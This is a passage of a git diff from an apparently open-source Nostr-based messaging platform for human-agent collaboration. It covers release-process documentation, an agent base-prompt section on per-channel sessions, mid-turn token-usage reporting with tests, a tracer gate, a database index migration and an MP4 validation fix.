([`857e63c4ddfb76f95ab40bb691e00544413f6b81`](https://github.com/block/buzz/commit/857e63c4ddfb76f95ab40bb691e00544413f6b81)) +- ci(linux): enable mesh-llm feature in Linux release and canary builds ([#4524](https://github.com/block/buzz/pull/4524)) ([`83a285f1b1a0be862d55781fad9c75ec8813886d`](https://github.com/block/buzz/commit/83a285f1b1a0be862d55781fad9c75ec8813886d)) +- fix(mobile): recover and pace live subscriptions ([#3053](https://github.com/block/buzz/pull/3053)) ([`a5dbdf5e61e4c512acd99c219c79c154ddb57295`](https://github.com/block/buzz/commit/a5dbdf5e61e4c512acd99c219c79c154ddb57295)) +- fix(git): allow deleting the default branch ([#4297](https://github.com/block/buzz/pull/4297)) ([`fc598f5f8d70728d11d0712b9fa8e3acc44ea4c3`](https://github.com/block/buzz/commit/fc598f5f8d70728d11d0712b9fa8e3acc44ea4c3)) +- docs: formal spec for remote agents and their management ([#3748](https://github.com/block/buzz/pull/3748)) ([`28ae6cd2174309529305724e455c7ca082f6fe4b`](https://github.com/block/buzz/commit/28ae6cd2174309529305724e455c7ca082f6fe4b)) +- fix(nip-oa): accept raw Nostr tag form in parse_json_array ([#4203](https://github.com/block/buzz/pull/4203)) ([`89bf03c05df795a3575b7abbe648be898ef13388`](https://github.com/block/buzz/commit/89bf03c05df795a3575b7abbe648be898ef13388)) +- perf(relay): serve relay-membership checks from the read replica ([#4124](https://github.com/block/buzz/pull/4124)) ([`ac4fa13b8e4d947071d57deb6918dcf12bf74961`](https://github.com/block/buzz/commit/ac4fa13b8e4d947071d57deb6918dcf12bf74961)) +- chore(deps): bump nostr-relay-pool for RUSTSEC-2026-0224 ([#4139](https://github.com/block/buzz/pull/4139)) ([`9d6726e5b387310975f5809473ce8372f6fde0dc`](https://github.com/block/buzz/commit/9d6726e5b387310975f5809473ce8372f6fde0dc)) +- docs(nostr): document #h requirement for live reaction subscriptions ([#3487](https://github.com/block/buzz/pull/3487)) ([`756dd7f65d6f2995e9188a0ffe54294057f8ef4f`](https://github.com/block/buzz/commit/756dd7f65d6f2995e9188a0ffe54294057f8ef4f)) +- docs(chart): fix ArgoCD example for native OCI sources (full artifact repoURL + path) ([#3426](https://github.com/block/buzz/pull/3426)) ([`36cf932ff0105a4cf574fc687deb4c1cb01bc0d1`](https://github.com/block/buzz/commit/36cf932ff0105a4cf574fc687deb4c1cb01bc0d1)) +- docs(readme): clarify which release asset to download per platform ([#3481](https://github.com/block/buzz/pull/3481)) ([`8d5afb606763fcaffd3af811be2106e41cc7347d`](https://github.com/block/buzz/commit/8d5afb606763fcaffd3af811be2106e41cc7347d)) +- fix(relay): allow open relays to set their NIP-11 workspace icon (kind:9033) ([#3998](https://github.com/block/buzz/pull/3998)) ([`5765fc74b77224f0207ddd4b41736a5ff18d333d`](https://github.com/block/buzz/commit/5765fc74b77224f0207ddd4b41736a5ff18d333d)) +- docs: note that addressable channel events scope by d, not h ([#4103](https://github.com/block/buzz/pull/4103)) ([`3d7712cc36e8da563cb1c121fc58bfc505d38496`](https://github.com/block/buzz/commit/3d7712cc36e8da563cb1c121fc58bfc505d38496)) +- docs: fix stale kind count, quick-start numbering, and empty Further Reading ([#2613](https://github.com/block/buzz/pull/2613)) ([`909a3b2c318b2ec477a3438a998a3b611f5b6d6a`](https://github.com/block/buzz/commit/909a3b2c318b2ec477a3438a998a3b611f5b6d6a)) +- docs: add one-click Railway deploy for a hosted relay ([#2733](https://github.com/block/buzz/pull/2733)) ([`19d57b0d46baa55814ac737041a36d0b405c9f64`](https://github.com/block/buzz/commit/19d57b0d46baa55814ac737041a36d0b405c9f64)) +- fix(buzz-acp): thread cache-read tokens into NIP-AM kind:44200 events ([#3999](https://github.com/block/buzz/pull/3999)) ([`b1b283cd4c7f926e12eeee8ae1f38c7471922b16`](https://github.com/block/buzz/commit/b1b283cd4c7f926e12eeee8ae1f38c7471922b16)) +- fix(release): preserve main in desktop PR body ([#3979](https://github.com/block/buzz/pull/3979)) ([`e5e5bac2a932b2b2e4eb6b559d5545a992c21b96`](https://github.com/block/buzz/commit/e5e5bac2a932b2b2e4eb6b559d5545a992c21b96)) + +[Compare desktop-v0.5.3...desktop-v0.5.4](https://github.com/block/buzz/compare/desktop-v0.5.3...desktop-v0.5.4) + ## v0.5.3 ### Desktop and shared changes diff --git a/Justfile b/Justfile index d6e86c8d09..d80341ecac 100644 --- a/Justfile +++ b/Justfile @@ -196,7 +196,7 @@ _ensure-migrations: _ensure-services # Run clippy on the desktop Tauri Rust crate desktop-tauri-clippy: _ensure-sidecar-stubs - cargo clippy --manifest-path {{desktop_tauri_manifest}} --all-targets -- -D warnings + cargo clippy --manifest-path {{desktop_tauri_manifest}} --workspace --all-targets -- -D warnings # Check the desktop Tauri Rust crate compiles desktop-tauri-check: _ensure-sidecar-stubs @@ -204,7 +204,13 @@ desktop-tauri-check: _ensure-sidecar-stubs # Run desktop Tauri Rust unit tests desktop-tauri-test: _ensure-sidecar-stubs - cd desktop/src-tauri && cargo test + cd desktop/src-tauri && cargo test --workspace + +# Run the native terminal latency gate explicitly on a known-idle host. +# This is intentionally excluded from shared CI: scheduler contention makes a +# wall-clock assertion flaky, and the release profile is the shipped shape. +desktop-terminal-performance-test: + cargo test --manifest-path desktop/src-tauri/crates/buzz-terminal/Cargo.toml --release --test latency g3_renderer_acquire_stays_within_frame_budget -- --ignored --exact --nocapture # Verify compiled-flag behavior under both compile states (clean + internal). # Runs the observer_archive focused test twice with independently supplied diff --git a/RELEASING.md b/RELEASING.md index e729f8b50c..23dacea2ce 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -56,14 +56,15 @@ or mobile GitHub Release. updates the PR. 2. Review the recorded base and candidate SHA, the complete changelog, and CI. The required **Desktop Release Candidate** check validates the exact head. - Authorization is either an approval on that exact head or a permitted Default - ruleset bypass at merge time. Any regeneration changes the head and requires - the checks—and, for the review path, approval—to run again. + A trusted repository member, owner, or collaborator must approve that exact + candidate head. Any regeneration or push changes the head, invalidates the + prior approval, and requires both the checks and approval to run again. 3. **Squash merge** the PR. The protected branch must still be exactly the recorded base; otherwise regenerate the candidate from current `main`. 4. `auto-tag-on-release-pr-merge` verifies the frozen parent, full-tree identity, - required checks, and one of the two authorization paths, then tags the squash - commit as `desktop-v`. + required checks, and trusted approval on the exact candidate head, then tags + the squash commit as `desktop-v`. An admin or ruleset bypass does not + authorize desktop tagging. 5. The tag triggers `release.yml`. It builds and stages Apple Silicon and Intel macOS, Windows, and Linux artifacts; publishes the versioned release only after the complete set succeeds; then updates the rolling updater manifest @@ -184,10 +185,12 @@ Buildkite pipeline accepts only an exact candidate tag. For mobile, trigger the private [Release Mobile pipeline](https://buildkite.com/runway/buzz-mobile-releases) with -an exact RC tag for the platform build being cut. For desktop, use -[Release Desktop](https://buildkite.com/runway/sprout-releases). See the +an exact RC tag for the platform build being cut. For desktop, start +[Release Desktop](https://buildkite.com/runway/sprout-releases) and enter the +exact public source tag as `desktop_ref=desktop-v`; a generic +`v` tag is intentionally rejected. See the [buzz-releases README](https://github.com/squareup/buzz-releases#cutting-a-release) -for the private pipeline contract. +for the rest of the private pipeline contract. --- @@ -269,9 +272,9 @@ actor list. Do not update the branch manually and do not weaken the ruleset. Run `just release-desktop ` again from current `main`; this regenerates the -candidate, reruns CI, and requires a fresh approval when using the review path. -The post-merge verifier refuses to tag a squash whose parent differs from the -recorded candidate base or whose tree differs from the validated PR head. +candidate, reruns CI, and requires a fresh trusted approval on the new exact +head. The post-merge verifier refuses to tag a squash whose parent differs from +the recorded candidate base or whose tree differs from the validated PR head. ### Local `just release-desktop` fails with "must be on main branch" Switch to `main` and pull latest before running the release recipe. diff --git a/crates/buzz-acp/src/base_prompt.md b/crates/buzz-acp/src/base_prompt.md index e360d24982..12e5c42909 100644 --- a/crates/buzz-acp/src/base_prompt.md +++ b/crates/buzz-acp/src/base_prompt.md @@ -1,5 +1,11 @@ You are operating inside the Buzz platform — a Nostr-based messaging platform for human-agent collaboration. The buzz-acp harness routes channel events to your session. +## Session Model + +You are one per-channel session of your agent identity — not the only copy. Each channel gets its own independent conversation context, and multiple sessions of the same agent may be active in different channels at the same time. Sessions share your core memory, your workspace on disk, and the relay. They do NOT share conversation context, in-progress reasoning, or in-context task state. + +When a human references work "you" are doing in another channel, that work belongs to a different session of you. Unless the human asks you to take it over or coordinate it from this channel, leave execution with the owning session — answer from what you can verify (core memory, workspace files, relay messages) and assume the owning session has it handled. + ## Buzz CLI The `buzz` CLI is your primary interface. Auth env vars: `BUZZ_RELAY_URL`, `BUZZ_PRIVATE_KEY`, `BUZZ_AUTH_TAG`. Exit codes: 0 ok, 1 user error, 2 network, 3 auth, 4 other. Output is structured JSON. diff --git a/crates/buzz-agent/src/agent.rs b/crates/buzz-agent/src/agent.rs index 8e14fee195..ff87a33a1a 100644 --- a/crates/buzz-agent/src/agent.rs +++ b/crates/buzz-agent/src/agent.rs @@ -13,8 +13,8 @@ use crate::mcp::McpRegistry; use crate::mcp::ResultBudget; use crate::types::{ - AgentError, ContentBlock, HistoryItem, ProviderStop, StopReason, ToolCall, ToolResult, - ToolResultContent, TurnTotalState, + AgentError, ContentBlock, HistoryItem, ProviderStop, SessionUsageBaseline, StopReason, + ToolCall, ToolResult, ToolResultContent, TurnTotalState, }; use crate::wire::{self, WireSender}; @@ -150,9 +150,40 @@ pub struct RunCtx<'a> { /// Reset to `Unseen` at turn start in `run()`. Callers must not derive a /// total by summing input+output — that is the UI display approximation only. pub turn_total_state: &'a mut TurnTotalState, + /// Session-cumulative counters as they stood when this turn began. Added to + /// the `turn_*` accumulators above to report a cumulative figure mid-turn; + /// the session's own copy is only advanced once, after the turn returns. + pub usage_baseline: SessionUsageBaseline, } impl RunCtx<'_> { + /// Send a session-cumulative `usage_update` reflecting everything observed + /// up to and including the most recent LLM response. + /// + /// The figure is the turn-start baseline plus this turn's running + /// accumulators, which is exactly what `session/prompt` will fold into the + /// session once the turn returns — so a mid-turn notification and the + /// end-of-turn one agree, and a turn that never returns has still reported + /// everything but its final in-flight request. + async fn emit_usage_update(&self) { + let base = self.usage_baseline; + let payload = wire::usage_update_payload( + base.input_tokens + .saturating_add(self.turn_input_tokens.unwrap_or(0)), + base.output_tokens + .saturating_add(self.turn_output_tokens.unwrap_or(0)), + base.cached_input_tokens + .saturating_add(self.turn_cached_input_tokens.unwrap_or(0)), + base.total_state.merge_session(*self.turn_total_state), + self.effective_model, + ); + wire::send( + self.wire, + wire::goose_session_update(self.session_id, payload), + ) + .await; + } + pub async fn run(&mut self, prompt: Vec) -> Result { let user_text = prompt_to_text(prompt)?; if user_text.len() > MAX_PROMPT_BYTES { @@ -299,6 +330,23 @@ impl RunCtx<'_> { // this gate rather than representing absent categories as zero. if response.input_tokens.is_some() || response.output_tokens.is_some() { *self.turn_total_state = self.turn_total_state.fold(response.total_tokens); + // Report what the turn has burned SO FAR, before running the + // next round. A turn is many provider round-trips over many + // minutes, and until this point the only report was the one + // `session/prompt` sends after the turn returns — so a turn + // that was cancelled, timed out, or whose process was killed + // reported nothing at all, and its tokens (already billed) + // existed only in this stack frame. Reporting per round bounds + // the loss to the single request in flight. + // + // Emitting more than one `usage_update` per turn is expected by + // the consumer: buzz-acp's UsageTracker advances its committed + // baseline only when the turn's metric is published, so every + // notification within a turn measures from the same frozen + // baseline and the last one seen is the turn's true total. + // goose behaves the same way, which is why the tracker was + // written to tolerate it. + self.emit_usage_update().await; } if !response.reasoning.is_empty() { diff --git a/crates/buzz-agent/src/lib.rs b/crates/buzz-agent/src/lib.rs index 9a45bf4c98..6cd7b6808f 100644 --- a/crates/buzz-agent/src/lib.rs +++ b/crates/buzz-agent/src/lib.rs @@ -658,6 +658,7 @@ async fn run_prompt(app: Arc, id: Value, params: Value, wire_tx: WireSender effective_model_override, run_id, mut steer_rx, + usage_baseline, ) = match acquire_session(&app, &p.session_id).await { Ok(v) => v, Err(reason) => { @@ -709,6 +710,7 @@ async fn run_prompt(app: Arc, id: Value, params: Value, wire_tx: WireSender turn_output_tokens: &mut turn_output_tokens, turn_cached_input_tokens: &mut turn_cached_input_tokens, turn_total_state: &mut turn_total_state, + usage_baseline, }; let result = ctx.run(p.prompt).await; if let Some(s) = app.sessions.lock().await.get_mut(&sid) { @@ -766,28 +768,16 @@ async fn run_prompt(app: Arc, id: Value, params: Value, wire_tx: WireSender if let Some((accumulated_in, accumulated_out, accumulated_cached, accumulated_total)) = accumulated { - // Build the usage_update payload. `accumulatedTotalTokens` is only - // included when the cumulative is exactly known — never when Unseen - // (no total ever observed) or Unknown (at least one turn lacked a - // total). A goose consumer that doesn't recognise the field ignores it. - let mut update = serde_json::json!({ - "sessionUpdate": "usage_update", - // used: total tokens as a context-usage proxy; - // contextLimit: 0 (buzz-agent has no context limit tracking). - "used": accumulated_in.saturating_add(accumulated_out), - "contextLimit": 0u64, - "accumulatedInputTokens": accumulated_in, - "accumulatedOutputTokens": accumulated_out, - // A subset of accumulatedInputTokens, not an addition to - // it. Extends goose's usage_update shape; a consumer that - // does not know the field ignores it and prices exactly as - // it did before. - "accumulatedCachedInputTokens": accumulated_cached, - "model": effective_model_str, - }); - if let crate::types::TurnTotalState::Exact(total) = accumulated_total { - update["accumulatedTotalTokens"] = serde_json::json!(total); - } + // Same builder the run loop uses for its per-round reports, so the + // final notification is shape-identical to the ones that preceded + // it and a consumer taking the high-water mark lands on this one. + let update = wire::usage_update_payload( + accumulated_in, + accumulated_out, + accumulated_cached, + accumulated_total, + effective_model_str, + ); wire::send(&wire_tx, goose_session_update(&sid, update)).await; } } @@ -821,6 +811,7 @@ async fn acquire_session( Option, String, mpsc::UnboundedReceiver>, + crate::types::SessionUsageBaseline, ), &'static str, > { @@ -857,6 +848,17 @@ async fn acquire_session( effective_model, run_id, steer_rx, + // Snapshot rather than a handle: the run loop reports cumulative usage + // after every LLM round, and taking the sessions lock on each of those + // would serialise concurrent sessions behind one another's provider + // round-trips. Nothing else advances these counters while this turn + // holds `busy`, so the snapshot cannot go stale under it. + crate::types::SessionUsageBaseline { + input_tokens: s.accumulated_input_tokens, + output_tokens: s.accumulated_output_tokens, + cached_input_tokens: s.accumulated_cached_input_tokens, + total_state: s.accumulated_total_state, + }, )) } diff --git a/crates/buzz-agent/src/types.rs b/crates/buzz-agent/src/types.rs index 343a75bf72..e386421981 100644 --- a/crates/buzz-agent/src/types.rs +++ b/crates/buzz-agent/src/types.rs @@ -308,6 +308,30 @@ impl TurnTotalState { } } +/// The session-cumulative usage counters as of the START of a turn. +/// +/// Copied out of the session under the lock when a turn begins and handed to +/// `RunCtx` by value, so the run loop can emit a cumulative `usage_update` +/// after every LLM round without reaching back into `App.sessions` (which it +/// holds no handle to, and which is locked by the turn's own bookkeeping at +/// both ends). +/// +/// This exists so that usage is durable *during* a turn rather than only after +/// it. The counters a turn accrues live in the prompt task's stack frame until +/// the turn returns; a process killed mid-turn takes them with it and the +/// tokens are billed by the provider but recorded nowhere. That is not +/// hypothetical — it silently under-reported a long-horizon benchmark's cost by +/// several-fold, because every phase of a `continue_until_timeout` run is +/// terminated mid-turn by design. +#[derive(Debug, Clone, Copy, Default)] +pub struct SessionUsageBaseline { + pub input_tokens: u64, + pub output_tokens: u64, + /// The cache-served subset of `input_tokens`, not an addition to it. + pub cached_input_tokens: u64, + pub total_state: TurnTotalState, +} + #[derive(Debug, Clone, Copy, PartialEq)] pub enum StopReason { EndTurn, diff --git a/crates/buzz-agent/src/wire.rs b/crates/buzz-agent/src/wire.rs index 7b50e7982a..634fca03af 100644 --- a/crates/buzz-agent/src/wire.rs +++ b/crates/buzz-agent/src/wire.rs @@ -148,6 +148,48 @@ pub fn goose_session_update(sid: &str, update: Value) -> Value { }) } +/// Build the `usage_update` payload for a `_goose/unstable/session/update`. +/// +/// Shared by the two places that report usage — after each LLM round inside a +/// turn, and once more when the turn completes — so the wire shape cannot drift +/// between them. A consumer takes the high-water mark per session, so the +/// mid-turn payloads are supersets of each other and the final one wins; a +/// divergence in field names or units between the two call sites would instead +/// show up as tokens silently vanishing, which is the failure this reporting +/// exists to prevent. +/// +/// All counts are SESSION-cumulative, matching goose, so buzz-acp's +/// `UsageTracker` can compute per-turn deltas symmetrically for both agents. +pub fn usage_update_payload( + accumulated_input_tokens: u64, + accumulated_output_tokens: u64, + accumulated_cached_input_tokens: u64, + accumulated_total: crate::types::TurnTotalState, + model: &str, +) -> Value { + let mut update = json!({ + "sessionUpdate": "usage_update", + // used: total tokens as a context-usage proxy; + // contextLimit: 0 (buzz-agent has no context limit tracking). + "used": accumulated_input_tokens.saturating_add(accumulated_output_tokens), + "contextLimit": 0u64, + "accumulatedInputTokens": accumulated_input_tokens, + "accumulatedOutputTokens": accumulated_output_tokens, + // A subset of accumulatedInputTokens, not an addition to it. Extends + // goose's usage_update shape; a consumer that does not know the field + // ignores it and prices exactly as it did before. + "accumulatedCachedInputTokens": accumulated_cached_input_tokens, + "model": model, + }); + // Only when the cumulative is exactly known — never when Unseen (no total + // ever observed) or Unknown (at least one turn lacked a total). A goose + // consumer that doesn't recognise the field ignores it. + if let Some(total) = accumulated_total.exact_value() { + update["accumulatedTotalTokens"] = json!(total); + } + update +} + /// A `session/update` notification carrying a `update._meta.goose.` field. /// Used to advertise `activeRunId` (so steer-capable clients can target the /// in-flight run) and `queuedSteer` (so they can correlate an accepted steer diff --git a/crates/buzz-agent/tests/fake_llm.rs b/crates/buzz-agent/tests/fake_llm.rs index f782a9d476..ef6f9d2d80 100644 --- a/crates/buzz-agent/tests/fake_llm.rs +++ b/crates/buzz-agent/tests/fake_llm.rs @@ -933,6 +933,135 @@ async fn no_usage_turn_emits_no_usage_notification() { h.shutdown().await; } +/// Usage must be reported after EVERY provider round, not only once the turn +/// returns. +/// +/// A turn is many provider round-trips over many minutes. While the only report +/// was the one `session/prompt` sends after the turn returns, a turn whose +/// process was killed mid-flight reported nothing at all: its counters lived in +/// the prompt task's stack frame, the provider had already billed them, and no +/// consumer ever saw them. That is not a corner case for a long-horizon +/// benchmark — every phase of a `continue_until_timeout` run is terminated +/// mid-turn by design, which under-reported one measured run's cost several-fold. +/// +/// Two rounds with distinct usage. The assertion that matters is the FIRST +/// notification: it must carry round 1's counts alone, proving it was sent +/// before round 2 had returned, so a kill between the rounds would still have +/// left round 1 on the wire. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn usage_is_reported_after_each_round_not_only_at_turn_end() { + let url = spawn_fake_llm(vec![ + openai_tool_call_with_usage("call_round1", "fake__noop", json!({}), 15, 6), + openai_text_with_usage("done", 20, 8), + ]) + .await; + let mut h = Harness::spawn(&url).await; + let sid = init_session(&mut h).await; + + let p_id = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"go"}]}), + ) + .await; + + let (frames_before, response) = recv_until_with_drain(&mut h, |v| v["id"] == p_id).await; + assert_eq!( + response["result"]["stopReason"], "end_turn", + "turn must complete with end_turn" + ); + + let usage: Vec<&Value> = frames_before + .iter() + .filter(|v| is_usage_update(v)) + .collect(); + assert!( + usage.len() >= 2, + "expected a usage_update per round (2 rounds), got {}; frames: {frames_before:#?}", + usage.len() + ); + + // Round 1 alone — emitted while round 2 was still outstanding. + assert_eq!( + usage[0]["params"]["update"]["accumulatedInputTokens"], + json!(15u64), + "first notification must carry round 1's input tokens only" + ); + assert_eq!( + usage[0]["params"]["update"]["accumulatedOutputTokens"], + json!(6u64), + "first notification must carry round 1's output tokens only" + ); + + // The last one is the turn total and is what a high-water-mark consumer keeps. + let last = usage[usage.len() - 1]; + assert_eq!( + last["params"]["update"]["accumulatedInputTokens"], + json!(35u64), + "final notification must carry the turn total 15+20=35" + ); + assert_eq!( + last["params"]["update"]["accumulatedOutputTokens"], + json!(14u64), + "final notification must carry the turn total 6+8=14" + ); + + h.shutdown().await; +} + +/// A mid-turn report must be SESSION-cumulative, not turn-local. +/// +/// The baseline handed to the run loop is a snapshot taken when the turn began; +/// if it were dropped, a consumer taking the high-water mark per session would +/// see turn 2's first round (a small number) arrive after turn 1's total and +/// discard it, silently losing turn 2 for any turn that never completed. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn mid_turn_usage_includes_earlier_turns() { + let url = spawn_fake_llm(vec![ + openai_text_with_usage("turn one", 10, 5), + openai_tool_call_with_usage("call_t2", "fake__noop", json!({}), 20, 8), + openai_text_with_usage("turn two done", 30, 9), + ]) + .await; + let mut h = Harness::spawn(&url).await; + let sid = init_session(&mut h).await; + + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 1"}]}), + ) + .await; + let (_, _) = recv_until_with_drain(&mut h, |v| v["id"] == p1).await; + + let p2 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 2"}]}), + ) + .await; + let (frames_before, _) = recv_until_with_drain(&mut h, |v| v["id"] == p2).await; + + let first = frames_before + .iter() + .find(|v| is_usage_update(v)) + .unwrap_or_else(|| { + panic!("expected a usage_update during turn 2; frames: {frames_before:#?}") + }); + assert_eq!( + first["params"]["update"]["accumulatedInputTokens"], + json!(30u64), + "turn 2 round 1 must report 10 (turn 1) + 20 (this round), not 20" + ); + assert_eq!( + first["params"]["update"]["accumulatedOutputTokens"], + json!(13u64), + "turn 2 round 1 must report 5 (turn 1) + 8 (this round), not 8" + ); + + h.shutdown().await; +} + /// When a turn is cancelled AFTER the provider has already returned a response /// (so token counts are observed), buzz-agent must still emit the usage /// notification before the cancelled `session/prompt` response. diff --git a/crates/buzz-conformance/src/lib.rs b/crates/buzz-conformance/src/lib.rs index 3e1cfe13e3..b8e3f933df 100644 --- a/crates/buzz-conformance/src/lib.rs +++ b/crates/buzz-conformance/src/lib.rs @@ -315,6 +315,27 @@ pub trait Tracer: Send + Sync { /// Record one trace step. Implementations MAY be no-ops in production /// builds and write to JSONL in tests. fn record(&self, step: TraceStep); + + /// Whether recorded steps are actually observed. + /// + /// Emitters on hot paths MUST consult this before doing work whose + /// *only* consumer is the trace — most importantly extra database + /// reads that project row labels independently of the fetch query + /// (the read-seam's `communities_of_channels` lookup). With a + /// discarding tracer that work is pure overhead. + /// + /// This is the `log.isDebugEnabled()` of the trace seam. It exists to + /// let callers skip *building emit inputs*, never to let them skip an + /// emit they would otherwise have made: when this returns `true` + /// every seam must behave exactly as it did before the gate existed, + /// so the coverage-breach guard stays non-vacuous. + /// + /// Defaults to `true` — a new tracer is assumed to observe steps until + /// it says otherwise. Wrappers that delegate to an inner tracer MUST + /// forward this method rather than inherit the default. + fn enabled(&self) -> bool { + true + } } /// A no-op tracer for production. Zero cost: the build can omit emission @@ -324,4 +345,9 @@ pub struct NoopTracer; impl Tracer for NoopTracer { fn record(&self, _step: TraceStep) {} + + /// Nothing is observed, so emitters should skip building inputs. + fn enabled(&self) -> bool { + false + } } diff --git a/crates/buzz-db/src/migration.rs b/crates/buzz-db/src/migration.rs index 6985916bba..65ca156721 100644 --- a/crates/buzz-db/src/migration.rs +++ b/crates/buzz-db/src/migration.rs @@ -100,7 +100,7 @@ mod tests { use super::*; use std::collections::BTreeSet; - const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; + const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; // sadscan:disable np.postgres.1 #[derive(Debug, Clone, Copy, PartialEq, Eq)] enum ConstraintKind { @@ -561,7 +561,7 @@ mod tests { let mut migrations: Vec<_> = MIGRATOR.iter().collect(); migrations.sort_by_key(|migration| migration.version); - assert_eq!(migrations.len(), 26); + assert_eq!(migrations.len(), 27); assert_eq!(migrations[0].version, 1); assert_eq!(&*migrations[0].description, "initial schema"); assert!(migrations[0] @@ -919,6 +919,27 @@ mod tests { assert!(heartbeat.contains("epoch")); assert!(heartbeat.contains("INSERT INTO replica_heartbeat (id) VALUES (1)")); assert!(heartbeat.contains("_operator_global_tables")); + + // Channel-id lookup index (0027): serves the tenant-independent + // `channels` lookups that carry no community_id predicate, which no + // community_id-leading index can satisfy. Covering + partial so the + // planner can go index-only; asserted NOT UNIQUE because `id` alone is + // not unique in this table (the same channel id may exist under more + // than one community), so a unique index would encode a false + // constraint and fail to build on such a database. + assert_eq!(migrations[26].version, 27); + let channel_id_index = migrations[26].sql.as_str(); + assert!(channel_id_index.contains("idx_channels_id_live")); + assert!(channel_id_index.contains("INCLUDE (community_id)")); + assert!(channel_id_index.contains("WHERE deleted_at IS NULL")); + assert!( + !channel_id_index.contains("CREATE UNIQUE INDEX"), + "channels.id is not unique across communities — index must not be UNIQUE", + ); + assert!( + desired_schema.contains("idx_channels_id_live"), + "desired-state schema must carry the channel-id lookup index", + ); } #[test] @@ -1161,7 +1182,7 @@ mod tests { run_migrations(&pool) .await .expect("retry succeeds after operator repair"); - assert_eq!(applied_versions(&pool).await.last().copied(), Some(26)); + assert_eq!(applied_versions(&pool).await.last().copied(), Some(27)); } #[tokio::test] diff --git a/crates/buzz-media/src/validation.rs b/crates/buzz-media/src/validation.rs index f1387fc9d6..450f8f353e 100644 --- a/crates/buzz-media/src/validation.rs +++ b/crates/buzz-media/src/validation.rs @@ -858,7 +858,7 @@ fn validate_mp4_metadata_free(path: &Path) -> Result<(), MediaError> { *b"ftyp", *b"moov", *b"mdat", *b"free", *b"skip", *b"wide", *b"trak", *b"mdia", *b"minf", *b"stbl", *b"edts", *b"dinf", *b"sinf", *b"schi", *b"udta", *b"mvhd", *b"tkhd", *b"mdhd", *b"hdlr", *b"vmhd", *b"smhd", *b"dref", *b"url ", *b"urn ", *b"stsd", *b"stts", *b"stss", - *b"ctts", *b"stsc", *b"stsz", *b"stco", *b"co64", *b"sgpd", *b"sbgp", *b"elst", + *b"ctts", *b"stsc", *b"stsz", *b"stco", *b"co64", *b"sgpd", *b"sbgp", *b"sdtp", *b"elst", ]; fn walk( file: &mut std::fs::File, @@ -2337,6 +2337,31 @@ mod tests { assert!(validate_mp4_metadata_free(tmp.path()).is_ok()); } + #[test] + fn test_accepts_standard_sample_dependency_table() { + let bytes = [ + box_wrap(b"ftyp", b"isom\0\0\0\0isom"), + box_wrap( + b"moov", + &box_wrap( + b"trak", + &box_wrap( + b"mdia", + &box_wrap( + b"minf", + &box_wrap(b"stbl", &box_wrap(b"sdtp", &[0x20, 0x10])), + ), + ), + ), + ), + box_wrap(b"mdat", b""), + ] + .concat(); + let tmp = tempfile::NamedTempFile::new().unwrap(); + std::fs::write(tmp.path(), bytes).unwrap(); + assert!(validate_mp4_metadata_free(tmp.path()).is_ok()); + } + #[test] fn test_rejects_excessive_mp4_box_nesting() { let mut nested = box_wrap(b"free", b""); diff --git a/crates/buzz-relay/src/conformance/mod.rs b/crates/buzz-relay/src/conformance/mod.rs index 323d0aca03..93ebe5de9f 100644 --- a/crates/buzz-relay/src/conformance/mod.rs +++ b/crates/buzz-relay/src/conformance/mod.rs @@ -370,6 +370,16 @@ impl Tracer for CountingTracer { .fetch_add(1, std::sync::atomic::Ordering::Relaxed); self.inner.record(step); } + + /// Delegate, never inherit the `true` default. This wrapper is + /// transparent: whether emits are observed is a property of the + /// tracer underneath it. Returning `true` over a `NoopTracer` would + /// reintroduce the overhead the gate exists to remove; returning + /// `false` over a real tracer would suppress the emits whose absence + /// the `EmitGuard` reports as a coverage breach. + fn enabled(&self) -> bool { + self.inner.enabled() + } } impl EmitGuard { @@ -455,6 +465,52 @@ mod tests { } } + /// Discarding tracer that reports `enabled() == false`, standing in + /// for the production `NoopTracer`. + #[derive(Debug, Default)] + struct DisabledTracer; + + impl Tracer for DisabledTracer { + fn record(&self, _step: TraceStep) {} + fn enabled(&self) -> bool { + false + } + } + + /// `CountingTracer` must forward `enabled()` to the tracer it wraps + /// rather than inherit the trait's `true` default. Both directions + /// matter, and getting either wrong is silent: + /// + /// - over a disabled tracer, answering `true` would keep the hot-path + /// read-seam `channels` lookup running in production — the overhead + /// the gate exists to remove; + /// - over a live tracer, answering `false` would make gated emitters + /// skip emits during conformance runs, so the `EmitGuard` would + /// report `ImplBug` for seams that are in fact correct (or, worse, + /// mask a real breach behind an expected one). + #[test] + fn counting_tracer_delegates_enabled_to_inner() { + let (_guard, counting) = EmitGuard::arm( + Arc::new(DisabledTracer), + dummy_state(), + "delegates_disabled", + ); + assert!( + !counting.enabled(), + "CountingTracer must report disabled when wrapping a discarding tracer" + ); + + let (_guard, counting) = EmitGuard::arm( + Arc::new(VecTracer::default()), + dummy_state(), + "delegates_live", + ); + assert!( + counting.enabled(), + "CountingTracer must report enabled when wrapping an observing tracer" + ); + } + fn dummy_state() -> AbstractState { AbstractState { resolved_community: CommunityLabel::from_uuid(Uuid::from_u128(0xA)), diff --git a/crates/buzz-relay/src/conformance/tracers.rs b/crates/buzz-relay/src/conformance/tracers.rs index 682c1714eb..36c9789358 100644 --- a/crates/buzz-relay/src/conformance/tracers.rs +++ b/crates/buzz-relay/src/conformance/tracers.rs @@ -17,6 +17,12 @@ pub struct NoopTracer; impl Tracer for NoopTracer { fn record(&self, _step: TraceStep) {} + + /// Nothing is observed, so emitters should skip building inputs — + /// including the read-seam's per-request `channels` lookup. + fn enabled(&self) -> bool { + false + } } /// JSONL-to-file tracer for tests + the CI replay job. Each `record` call diff --git a/crates/buzz-relay/src/handlers/req.rs b/crates/buzz-relay/src/handlers/req.rs index 2aed12cd7f..fd7deadf51 100644 --- a/crates/buzz-relay/src/handlers/req.rs +++ b/crates/buzz-relay/src/handlers/req.rs @@ -334,7 +334,12 @@ pub async fn handle_req( // (B) projection strategy and the missing-lookup ImplBug // guard-rail. Skipped silently if `trace_state` is `None` (only // happens on malformed pubkey, a separate failure path). - if let Some(state_snap) = trace_state.as_ref() { + // `tracer.enabled()` short-circuits the whole block on the production + // 